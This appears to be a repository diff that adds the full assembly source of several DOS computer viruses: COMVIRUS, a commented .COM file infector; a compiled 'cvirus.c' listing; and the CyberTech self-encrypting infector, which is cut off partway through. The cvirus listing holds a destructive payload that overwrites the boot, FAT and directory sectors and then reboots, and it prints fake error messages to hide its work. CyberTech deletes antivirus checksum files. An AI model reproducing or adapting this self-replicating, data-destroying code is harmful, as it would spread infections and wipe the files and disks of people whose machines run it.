MOV BX,CS:[0C65H]
MOV AH,40H
MOV DX,0A10H
MOV CX,0254H
CALL L001A
JB L019A
MOV BX,CS:[0C65H]
MOV AX,5700H
CALL L001A
MOV AX,5701H
MOV CX,534BH
CALL L001A
L019A:
MOV BX,CS:[0C65H]
MOV AH,3EH
CALL L001A
L01A4: XOR AX,AX
MOV DS,AX
MOV AX,WORD PTR DS:[0198H]
MOV BX,DS:[019AH]
MOV WORD PTR DS:[004CH],AX
MOV DS:[004EH],BX
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
POP SS
POPF
L01C0:
JMP WORD PTR CS:[08C0H]
SUB CH,DS:[6F63H]
DB 6DH
ADD [BX+SI+0CF03H],DH
L01CE: MOV AX,0070H
MOV ES,AX
MOV DI,0000H
MOV AX,80FBH
L01D9: CLD
MOV CX,0FFFFH
SCASW
JE L01E6
MOV DI,0001H
JMP SHORT L01D9
L01E6: MOV BX,02FCH
CMP ES:[DI],BX
JNE L01DD
DEC DI
DEC DI
XOR AX,AX
MOV DS,AX
MOV DS:[0194H],DI
MOV DS:[0196H],ES
MOV ES,DS:[009EH]
MOV BX,DS:[00A0H]
PUSH CS
POP DS
MOV DX,BP
MOV BP,DS
POP SI
PUSH SI
MOV DI,0A10H
MOV CX,0255H
MOVSB
PUSH ES
LEA DI,[BX+1BH]
MOV AL,0E9H
STOSB
MOV AX,0A30H
SUB AX,DI
STOSW
MOV AX,9090H
STOSW
STOSW
MOV ES:[08C0H],DI
MOV AX,SS
SUB AX,0018H
CLI
MOV SS,AX
PUSH CS
POP SS
STI
MOV DS,BP
MOV BP,DX
POP ES
PUSH CS
POP ES
POP SI
POP CX
XOR DX,DX
XOR SI,SI
XOR AX,AX
XOR BX,BX
MOV DI,0100H
JMP DI
DEC BP
DB 69H
DB 6CH
DB 65H
DB 6EH
DB 61H
AND [BP+DI+02H],CL
XPROC ENDP
XSEG ENDS
END

+458
View File
@@ -0,0 +1,458 @@
title COMVIRUS
subttl By Drew Eckhardt
subttl Latest revision: 4-28-1991
;The author of this virus intends it to be used for educational
;purposes only, and assumes no responsibilities for its release,
;dammages resulting from its use, including but not limited to
;equipment dammage or data loss.
;By assembling or examining this program, The user agrees to accept all
;responsibility for this programs use, or any portions of the code
;or concepts contained within. The user also agrees to not publicly release
;this virus, and to exercise necessary precautions to prevent its escape.
;The user accepts all responsibility arising from his actions.
;Don't come crying to me if your hard disk gets infected,
;as THERE IS NO ANTIDOTE. HAHAHAH.
;Revision history:
;4-13: initial bug-free release, size=424 bytes with carrier
;4-15: added no date change support, size=438 bytes with carrier
;4-16: minor documentation changes, size=438 bytes with carrier,
; NO CODE CHANGE from 4-15 revision
;4-21: fixed missing hex h suffixs, made MASM friendly,
; fixed incorrect assume statement (assume statements are ignored
; by A86) enabled hard/floppy infection based on floppy_only status
; size=438 bytes IF floppy_only, 424 bytes if not, with carrier.
; minimum virus length = 419 bytes
;4-23: added control over how many programs are infected per run,
; switched method of infection, from copying to DTA then writing
; to disk to straight write to disk from memory.
; size=412 bytes IF floppy_only, 398 bytes if not, with carrier.
; minimum virus length = 393 bytes
;4-28: used set DTA instead of default DTA/copy command line
; buffer, which had been used based on incorrect assumption
; eliminated calls to get time/date, get attribs
; by using information from find first/find next functions 4eh/4fh
; made warning optional for reduced space if desired. Also
; changed mov reg16, bp add reg16, constant to shorter LEA instruction.
; size=354 bytes IF floppy_only, warning on W/carrier
; 340 bytes IF w/warning & carrier program
; 286 bytes w/o warning, in program
; minimum virus length = 281 bytes for virus itself
;4-28pm: instead of near CALL-pop sequences everywhere, switched to
; a single CALL near ptr Reference_Point, putting the result into
; si now that (until the end) string mode addressing is not used.
; Changed places where a register (used as an index)
; was being loaded THEN added to a single LEA isntruction
; size = 340 bytes if floppy_only, warning on w/carrier
; size = 326 bytes if w/warning & carrier
; size = 272 w/o warning
; minimum virus length = 267 bytes for the virus itself
;4-28pm2: Eliminated unecessary flush buffers call.
; size = 336 bytes if floppy_only w/carrier
; size = 322 bytes w/warning & carrier
; size = 268 w/o warning
; minimum virus length = 263 bytes for virus itself
;4-30: restored 5 bytes of original code at CS:0100
; before infecting other programs, allowing the
; original code field to be modified so one disk write could be
; used instead of two
; minor documentation revisions - corrected incorrect
; opcodes in documentation
; size = 326 bytes if floppy_only w/carrier
; size = 312 bytes w/warning & carrier program
; size = 258 bytes w/carrier program
; Minimum virus length = 253 bytes for the virus itself
;NOTE: The program is currently "set up" for A86 assembly with all
;conditional assembly symbols. #IF and #ENDIF should be replaced with
;MASM IFDEF and ENDIF directives for propper operation.
;Also, instead of using EQUates to define control symbols, the /D
;option or DEFINE could be used.....
;COMVIRUS.ASM must be assembled into a .COM file inorder to function
;properly. For convieniece, I recommend an assembler like A86 that will
;assemble to a .COM file without having to go through LINK and EXE2BIN
;As is, it will infect .COM files located on the current disk.
;ONLY if it is a floppy disk, ONLY in the root directory.
;This is a .COM infector virus, which, does nothing other than print a
;warning message, and spread to all files on the default disk IFF it is
;a floppy disk, in the root directory.
;Theory:
;This is a non - overwriting virus. I took special precautions to preserve
;all functionality of the original program, including command line, parsed FCB,
;and segment register preservation. This makes the virus harder to detect.
;The .COM file is a memory image - with no relocation table. Thus, it
;is an easy target for a virus such as this.
;Infected file format
;jmp near ptr xxxx
;cli cli ;ID bytes
;ORIGINAL program code, sans 5 bytes
;5 bytes ORIGINAL program code
;VIRUS
;This format makes infection VERY simple. We merely check for our signature
;(in this case cli cli (fa fa) - instructions that no programmer in his
;right mind would use - loading the original five bytes in the process.
;These original bytes are written to the end of the program, then
;A jump to where the virus is.
;While infection is easy, this method presents some coding problems, as the
;virus does not know where in memory it is. Therefor, When we want to access
;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the
;stack which is then popped. Addresses are then calculated relative to this
;via LEA
;To run the program as normal, command line is restored, registers restored,
;And original code copied onto the first five bytes of the program.
;Program control symbols defined here
floppy_only equ 1
infect_per_run equ 1 ;number of programs infected per run
warn_user equ 1
_TEXT segment byte 'CODE'
assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT
org 100h
Start: jmp infect;
;This is our signature
cli
cli
;Original code is the data field where we store the original program code
;which will replace our signature and jmp to infect
Original_Code: int 20h ;five bytes that simply terminate
nop ;the program
nop
nop
;Data for the virus. In a destructive virus, you would want to encrypt
;any strings using a simple one's complement (not) operation so as to
;thwart detection via text search utilities. Since we want detection to
;be easy, this un-encrypted form is fine.
Start_Virus:
#IF warn_user
Warning db "This file infected with COMVIRUS 1.0",10,13,'$'
#ENDIF
;VirusMask is simply an ASCIIZ terminated string of the files we wish to
;infect.
VirusMask db '*.COM', 0
Infect:
push ax ;on entry to a .COM program, STACK:
;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp
;for the two FCB's in here. Save
;'em
;I use special trickery to find location of data. Since
;NEAR calls/jmps are RELATIVE, call near ptr find_warn is
;translated to e8 0000 - which will simply place the location
;of Reference onto the stack. Our data can be found relative to
;this point.
call near ptr Reference ;All data is reference realative to
;Reference
Reference: pop bx ;which is placed into bx for LEA
;instructions
;bx now contains the REAL address of
;Reference
;si points to real address of original
;code field
lea si, [bx-(offset Reference - offset Original_Code)]
mov di, 0100h ;original code is at 100h
mov cx, 5 ;5 bytes
cld ;from start of buffer
rep movsb ;do it
mov si, bx ;since BX is used in handle
;based DOS calls, for the remainder
;of the virus, si will contain the
;actual address of reference
#IF warn_user
;Always calculate the address of data relative to known Reference
;Point
lea dx, [si-(offset Reference - offset Warning)]
mov ah,9h ;DO dos call, DS:DX pointing
int 21h ;to $ terminated string
;We want to make sure that the user gets the message
WaitForKey:
mov ah, 0bh ;we will wait for a keypress
int 21h ;signifying the user has
or al, al ;seen the message.
jz WaitForKey
#ENDIF
#IF FLOPPY_ONLY
;Since this is a simple demonstration virus, we will only infect
;.COM files on the default drive IFF it is a floppy disk....
;So, we will get information about the disk drive.
push ds ;ds:bx returns a byte to
;media descriptor
mov ah, 1bh ;get disk information STACK
int 21h ;DOIT ax (drive ID's)
cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp
pop ds ;restore ds STACK
jne Floppy ;if it was hard.... ax <--sp
jmp near ptr done ;we're nice guys and are done
Floppy: ;Since it was floppy, we can go on with the infection!
#ENDIF
;The default DTA, as is will give us problems. The designers of
;MickeySoft DOS decided to put default DTA at ofset 128 in
;the PSP. PROBLEM: This is also where the user's precious command
;line is, and we MUST remain undectected. SO.... we allocate a
;DTA buffer on the stack. 43 bytes are needed, 44 will do.
sub sp, 44 ;allocate space for findfirst/findnext DTA
mov bp, sp ;set up bp as a reference to this area
;Set the DTA
mov dx, bp ;point DS:DX to our area
mov ah, 1ah ;set DTA
int 21h
;Set up pointers to data in DTA
dta equ word ptr [bp]
file_name equ word ptr [bp+1eh]
attributes equ byte ptr [bp+15h]
time_stamp equ word ptr [bp+16h]
date_stamp equ word ptr [bp+18h]
file_size equ dword ptr [bp+1ah]
;We dynamically allocate a variable to store the number of programs STACK
;The virus has infected. FCB drives
; bp--> 44 byte DTA
infected_count equ byte ptr[bp-2]; Infected_Count
xor ax, ax ;zero variable, sp--> buffer (6 bytes)
push ax ;allocate it on the stack
sub sp, 6 ;allocate small buffer
;Now, we begin looking for files to infect.
lea dx, [si - (offset Reference - offset VirusMask)]
;DS:DX points to the search string STACK
mov ah, 4eh ;find first matching directory entry FCB drives (word)
mov cx, 111b ;only default directory, FILES
;hidden, system and normal
int 21h ;doit bp--> 44 byte DTA buffer
; infected count (word)
jnc Research ;carry is clear when a file was sp--> 6 byte buffer
jmp nofile ;found.
ReSearch:
;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx
lea dx, file_name
;Since this is a virus, we want to infect files that can't be touched by
;DOS commands, this means readonly, system, and hidden files are at our
;mercy. To do this, we rely on the findfrst/next attributes and other data
;to restore the attribute byte to the original settings. get/SET can fix
;them to be suitable
mov cl, attributes
and cl, 11100000b ;not readonly, system, or hidden STACK
; FCB drives
mov ax, 4301h ;set attributes bp--> buffer (44 bytes)
int 21h ; buffer (6 bytes)
; sp--> infected_count
jnc NoError ;check for error
jmp Restore_Flags
NoError:
mov ax, 3d02h ;now, open file using handle,
;read/write access
int 21h ;
jnc NoError2 ;IF there was an error, we are done
jmp Restore_Flags ;But we don't need to commit or close
NoError2:
mov bx, ax ;The handle was returned in ACC.
;Howwever, all handle based DOS
;calls expect it in BX
;We don't want to infect the program more than once, so we will
;check to see if it is infected.
mov ax, 4200h ;seek relative to start of file
; bx contains handle from open operation
xor cx,cx ;cx:dx is file pointer
xor dx, dx ;
int 21h ;DOIT
;Now, we will read in enough data to see if we have our virus signature.
mov ah, 3fh ;read data
lea dx, [si-(offset reference-offset original_code)]
;into original_code buffer
mov cx, 5 ;5h bytes
; bx contains handle from last operation
int 21h
cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah
jne GoApe ;if we aren't already infected,
jmp Error ;go for it
GoApe:
;Since it is safe to infect, we will
mov ax, 4202h ;seek end of file
xor cx, cx
xor dx, dx
int 21h
or dx, dx ;check for valid .COM format
jz Less_Than_64K
jmp Error
Less_Than_64K:
;Now, we must calculate WHERE the jump will be to. Let's examine the program
;Structure:
;jmp near ptr xxxx
;Cli Cli }These add up to the original length
;Orignal code sans 5 bytes
;Original_Code (5 bytes) }The length of all virus data
;Other virus data is equal to the difference in
;Infect the addresses of Infect and Original_Code
;End_Virus
;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin)
;However, in the 80x86, NEAR jumps are calculated as an offset from the position
;of the next statement to execute (because of fetch/execute cycle operation).
;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from
;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code
;+Original_Length-3);
;Since AX already contains the original length, we will merely add
;Space for the virus data, and take care of the three bytes
;of code generated by the jmp near instruction.
add ax, (offset Infect - Offset Original_Code -3)
;calculate jump address
mov byte ptr [bp-8], 0e9h ;jmp near instruction
mov word ptr [bp-7], ax ;offset for near jmp
mov word ptr [bp-5], 0fafah ;cli cli
mov ax, 4200h ;seek begining of file
xor cx, cx
mov dx, cx
int 21h
mov ah, 40h ;write patched code
mov cx, 5 ;5 bytes of code
lea dx, [bp-8] ;our buffer
int 21h
mov ax, 4202h ;seek EOF
xor cx, cx
xor dx, dx
int 21h
lea dx, [si - (offset Reference - offset Original_Code)]; set start
mov cx, (offset End_Virus - offset Original_Code) ;set length
mov ah, 40h ;append virus to file
int 21h ;doit
inc infected_Count ;bump up the number of programs infected
Error: mov dx,date_stamp ;restore date
mov cx,time_stamp ;restore time
mov ax, 5701h ;set them
int 21h
mov ah, 3eh ;close file
int 21h
Restore_Flags:
xor ch, ch ;zero hi byte flags
mov cl,attributes ;restore flags
lea dx, file_name ;ds:dx points to ASCIIZ string
;in the buffer, offset 1eh contains
;the file name
mov ax, 4301h ;get/SET flags
int 21h ;Doit
DoAgain:;See if we're done infecting
cmp infected_count, infect_per_run
jae NoFile ;if we're done, same as no new file
mov ah, 4fh ;find next
int 21h
jc NoFile ;if carry is clear, DOIT again!
jmp ReSearch
;Since we have no more files, we will restore things to normal.
NoFile:
mov dx, 80h ;reset default dta at DS:80h
mov ah, 1ah ;set DTA
int 21h
add sp, 52 ;deallocate buffers and infected_count
;Put original code of program BEFORE it was infected back in place!
Done:
pop ax ;restore ax
;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take
;a RELATIVE address...... BUT a retn opcode pops a near absolute
;address of the stack - saves us the trouble of some calculating
;relative to here, and the trouble of a self-modifying
;far absolute jmp! (5 bytes)
mov bx, 0100h
push bx
ret ;easiest jump to cs:100
End_Virus:
_TEXT ends
end start
+596
View File
@@ -0,0 +1,596 @@
ifndef ??version
?debug macro
endm
$comm macro name,dist,size,count
comm dist name:BYTE:count*size
endm
else
$comm macro name,dist,size,count
comm dist name[size]:BYTE:count
endm
endif
?debug S "cvirus.c"
?debug C E9A18C4217086376697275732E63
?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68
?debug C E90008A41413433A5C54435C494E434C5544455C646F732E68
?debug C E90008A41415433A5C54435C494E434C5544455C66636E746C2E68
?debug C E90008A41412433A5C54435C494E434C5544455C696F2E68
?debug C E90008A41416433A5C54435C494E434C5544455C7374646172672E+
?debug C 68
?debug C E90008A41415433A5C54435C494E434C5544455C737464696F2E68
_TEXT segment byte public 'CODE'
_TEXT ends
DGROUP group _DATA,_BSS
assume cs:_TEXT,ds:DGROUP
_DATA segment word public 'DATA'
d@ label byte
d@w label word
_DATA ends
_BSS segment word public 'BSS'
b@ label byte
b@w label word
_BSS ends
_DATA segment word public 'DATA'
_screw_virex label byte
db 245
db 35
db 114
db 150
db 84
db 250
db 227
db 188
db 205
db 4
db 0
_DATA ends
_TEXT segment byte public 'CODE'
;
; void hostile_activity(void)
;
assume cs:_TEXT
_hostile_activity proc near
push bp
mov bp,sp
;
; {
; /* Put whatever you feel like doing here...
; I chose to make this routine trash the victim's boot, FAT, and
; directory sectors, but you can alter this code however you want,
; and are encouraged to do so.
; */
;
;
; #ifdef DEBUG
; puts("\aAll files infected!");
; exit(1);
; #else
; /* Overwrite five sectors, starting with sector 0, on C:, with the
; memory at location DS:0000 (random garbage).
; */
;
; abswrite(2, 5, 0, (void *) 0);
;
xor ax,ax
push ax
xor dx,dx
push ax
push dx
mov ax,5
push ax
mov ax,2
push ax
call near ptr _abswrite
add sp,10
;
; __emit__(0xCD, 0x19); // Reboot computer
;
db 205
db 25
;
; #endif
; }
;
pop bp
ret
_hostile_activity endp
_TEXT ends
_DATA segment word public 'DATA'
db 78
db 77
db 65
db 78
db 0
_DATA ends
_TEXT segment byte public 'CODE'
;
; int infected(char *fname)
;
assume cs:_TEXT
_infected proc near
push bp
mov bp,sp
sub sp,36
push si
;
; {
; /* This function determines if fname is infected. It reads four
; bytes 28 bytes in from the start and checks them agains the
; current header. 1 is returned if the file is already infected,
; 0 if it isn't.
; */
;
; register int handle;
; char virus_signature[35];
; static char check[] = SIGNATURE;
;
; handle = _open(fname, O_RDONLY);
;
mov ax,1
push ax
push word ptr [bp+4]
call near ptr __open
add sp,4
mov si,ax
;
; _read(handle, virus_signature, sizeof(virus_signature));
;
mov ax,35
push ax
lea ax,word ptr [bp-36]
push ax
push si
call near ptr __read
add sp,6
;
; close(handle);
;
push si
call near ptr _close
inc sp
inc sp
;
;
; #ifdef DEBUG
; printf("Signature for %s: %.4s\n", fname, &virus_signature[28]);
; #endif
;
; /* This next bit may look really stupid, but it actually saves about
; 100 bytes.
; */
;
; return((virus_signature[28] == check[0]) && (virus_signature[29] == check[1])
;
;
; && (virus_signature[30] == check[2]) && (virus_signature[31] == check[3]));
;
mov al,byte ptr [bp-8]
cmp al,byte ptr DGROUP:d@+11
jne short @2@146
mov al,byte ptr [bp-7]
cmp al,byte ptr DGROUP:d@+11+1
jne short @2@146
mov al,byte ptr [bp-6]
cmp al,byte ptr DGROUP:d@+11+2
jne short @2@146
mov al,byte ptr [bp-5]
cmp al,byte ptr DGROUP:d@+11+3
jne short @2@146
mov ax,1
jmp short @2@170
@2@146:
xor ax,ax
@2@170:
;
; }
;
pop si
mov sp,bp
pop bp
ret
_infected endp
;
; void spread(char *virus, struct ffblk *victim)
;
assume cs:_TEXT
_spread proc near
push bp
mov bp,sp
sub sp,4740
push si
push di
;
; {
; /* This function infects victim with virus. First, the victim's
; attributes are set to 0. Then the virus is copied into
; the victim's file name. Its attributes, file date/time, and
; size are set to that of the victim's, preventing detection, and
; the files are closed.
; */
;
; register int virus_handle, victim_handle;
; unsigned virus_size;
; char virus_code[TOO_SMALL + 1], *victim_name;
;
;
; /* This is used enought to warrant saving it in a separate variable */
;
; victim_name = victim->ff_name;
;
mov ax,word ptr [bp+6]
add ax,30
mov word ptr [bp-4],ax
;
;
;
; #ifdef DEBUG
; printf("Infecting %s with %s...\n", victim_name, virus);
; #endif
;
; /* Turn off all of the victim's attributes so it can be replaced */
;
; _chmod(victim_name, 1, 0);
;
xor ax,ax
push ax
mov ax,1
push ax
push word ptr [bp-4]
call near ptr __chmod
add sp,6
;
;
;
; #ifdef DEBUG
; puts("Ok so far...");
; #endif
;
; /* Recreate the victim */
;
; virus_handle = _open(virus, O_RDONLY);
;
mov ax,1
push ax
push word ptr [bp+4]
call near ptr __open
add sp,4
mov di,ax
;
; victim_handle = _creat(victim_name, victim->ff_attrib);
;
mov bx,word ptr [bp+6]
mov al,byte ptr [bx+21]
cbw
push ax
push word ptr [bp-4]
call near ptr __creat
add sp,4
mov si,ax
;
;
;
; /* Copy virus */
;
; virus_size = _read(virus_handle, virus_code, sizeof(virus_code));
;
mov ax,4736
push ax
lea ax,word ptr [bp-4740]
push ax
push di
call near ptr __read
add sp,6
mov word ptr [bp-2],ax
;
; _write(victim_handle, virus_code, virus_size);
;
push ax
lea ax,word ptr [bp-4740]
push ax
push si
call near ptr __write
add sp,6
;
;
;
; #ifdef DEBUG
; puts("Almost done...");
; #endif
;
; /* Reset victim's file date, time, and size */
;
; chsize(victim_handle, victim->ff_fsize);
;
mov bx,word ptr [bp+6]
push word ptr [bx+28]
push word ptr [bx+26]
push si
call near ptr _chsize
add sp,6
;
; setftime(victim_handle, (struct ftime *) &victim->ff_ftime);
;
mov ax,word ptr [bp+6]
add ax,22
push ax
push si
call near ptr _setftime
add sp,4
;
;
;
; /* Close files */
;
; close(virus_handle);
;
push di
call near ptr _close
inc sp
inc sp
;
; close(victim_handle);
;
push si
call near ptr _close
inc sp
inc sp
;
;
; #ifdef DEBUG
; puts("Infection complete!");
; #endif
; }
;
pop di
pop si
mov sp,bp
pop bp
ret
_spread endp
_TEXT ends
_DATA segment word public 'DATA'
dw DGROUP:s@
dw DGROUP:s@+6
db 0
db 0
_DATA ends
_BSS segment word public 'BSS'
db 43 dup (?)
_BSS ends
_TEXT segment byte public 'CODE'
;
; struct ffblk *victim(void)
;
assume cs:_TEXT
_victim proc near
push bp
mov bp,sp
push si
push di
;
; {
; /* This function returns a pointer to the name of the virus's next
; victim. This routine is set up to try to infect .EXE and .COM
; files. If there is a command line argument, it will try to infect
; that file instead. If all files are infected, hostile activity
; is initiated...
; */
;
; register int done;
; register char **ext;
; static char *types[] = {"*.EXE", "*.COM", NULL};
; static struct ffblk ffblk;
;
; for (ext = (*++_argv) ? _argv : types; *ext; ext++) {
;
add word ptr DGROUP:__argv,2
mov bx,word ptr DGROUP:__argv
cmp word ptr [bx],0
je short @4@74
mov ax,word ptr DGROUP:__argv
jmp short @4@98
@4@74:
mov ax,offset DGROUP:d@w+16
@4@98:
mov si,ax
jmp short @4@362
@4@122:
;
; done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM | FA_ARCH);
;
mov ax,39
push ax
mov ax,offset DGROUP:b@w+0
push ax
push word ptr [si]
call near ptr _findfirst
add sp,6
jmp short @4@290
@4@146:
;
; while (!done) {
;
; #ifdef DEBUG
; printf("Scanning %s...\n", ffblk.ff_name);
; #endif
;
; /* If you want to check for specific days of the week, months, etc.,
; here is the place to insert the code (don't forget to "#include
; <time.h>").
; */
;
; if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name)))
;
cmp word ptr DGROUP:b@w+0+28,0
jl short @4@266
jg short @4@218
cmp word ptr DGROUP:b@w+0+26,4735
jbe short @4@266
@4@218:
mov ax,offset DGROUP:b@w+0+30
push ax
call near ptr _infected
inc sp
inc sp
or ax,ax
jne short @4@266
;
; return(&ffblk);
;
mov ax,offset DGROUP:b@w+0
jmp short @4@410
@4@266:
;
; done = findnext(&ffblk);
;
mov ax,offset DGROUP:b@w+0
push ax
call near ptr _findnext
inc sp
inc sp
@4@290:
mov di,ax
or di,di
je short @4@146
inc si
inc si
@4@362:
cmp word ptr [si],0
jne short @4@122
;
; }
; }
;
;
; /* If there are no files left to infect, have a little fun */
;
; hostile_activity();
;
call near ptr _hostile_activity
@4@410:
;
; }
;
pop di
pop si
pop bp
ret
_victim endp
_TEXT ends
_DATA segment word public 'DATA'
dw DGROUP:s@+12
dw DGROUP:s@+26
dw DGROUP:s@+41
dw DGROUP:s@+61
dw DGROUP:s@+78
dw DGROUP:s@+97
dw DGROUP:s@+115
dw DGROUP:s@+144
_DATA ends
_TEXT segment byte public 'CODE'
;
; int main(void)
;
assume cs:_TEXT
_main proc near
push bp
mov bp,sp
push si
;
; {
; /* In the main program, a victim is found and infected. If all files
; are infected, a malicious action is performed. Otherwise, a bogus
; error message is displayed, and the virus terminates with code
; 1, simulating an error.
; */
;
; static char *err_msg[] = {"Out of memory", "Bad EXE format",
; "Invalid DOS version", "Bad memory block",
; "FCB creation error", "Sharing violation",
; "Abnormal program termination",
; "Divide error"
; };
; register char *virus_name = *_argv;
;
mov bx,word ptr DGROUP:__argv
mov si,word ptr [bx]
;
;
; spread(virus_name, victim());
;
call near ptr _victim
push ax
push si
call near ptr _spread
add sp,4
;
; puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]);
;
xor ax,ax
mov es,ax
mov bx,word ptr es:[1132]
and bx,7
shl bx,1
push word ptr DGROUP:d@w+22[bx]
call near ptr _puts
inc sp
inc sp
;
; return(1);
;
mov ax,1
;
; }
;
pop si
pop bp
ret
_main endp
?debug C E9
_TEXT ends
_DATA segment word public 'DATA'
s@ label byte
db '*.EXE'
db 0
db '*.COM'
db 0
db 'Out of memory'
db 0
db 'Bad EXE format'
db 0
db 'Invalid DOS version'
db 0
db 'Bad memory block'
db 0
db 'FCB creation error'
db 0
db 'Sharing violation'
db 0
db 'Abnormal program termination'
db 0
db 'Divide error'
db 0
_DATA ends
_TEXT segment byte public 'CODE'
_TEXT ends
extrn __creat:near
extrn __open:near
public _infected
extrn _findfirst:near
extrn _findnext:near
public _hostile_activity
extrn _setftime:near
extrn __read:near
public _victim
extrn _puts:near
extrn __argv:word
public _main
extrn _chsize:near
public _screw_virex
extrn _close:near
public _spread
extrn __write:near
extrn __chmod:near
extrn _abswrite:near
end

+427
View File
@@ -0,0 +1,427 @@
;
; CyberTech Virus - Strain A John Tardy (C) 1992
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1992, the virus activated. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1993, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Si,Crypt[BP] ; Decrypt the virus with a
Mov Di,Si ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae On2 ;
Jmp Ready ;
On2: Mov Ax,3600h ; Check if enough disk space
Xor Dx,Dx ; is aveable for infecting
Int 21h ; (3 clusters should be
Cmp Bx,3 ; enough i think)
Ja TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1992 is past time
Int 21h ; already
Cmp Cx,1993 ;
Jae Clean ; - 1993 or more
Jmp NoClean ; - Not 1993 or more
;
; Main Cleanup procedure
;
Clean: Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ;
Lea Dx,Removed[Bp] ;
Int 21h ;
Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0h ;
Jne Verder ;
Xor Ax,Ax ;
Verder: Stosb ;
Loop Trans ;
Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Ah,40h ; write memory image of host
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; jump to ready routine
Pop Ds ; (shutdown of the virus)
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
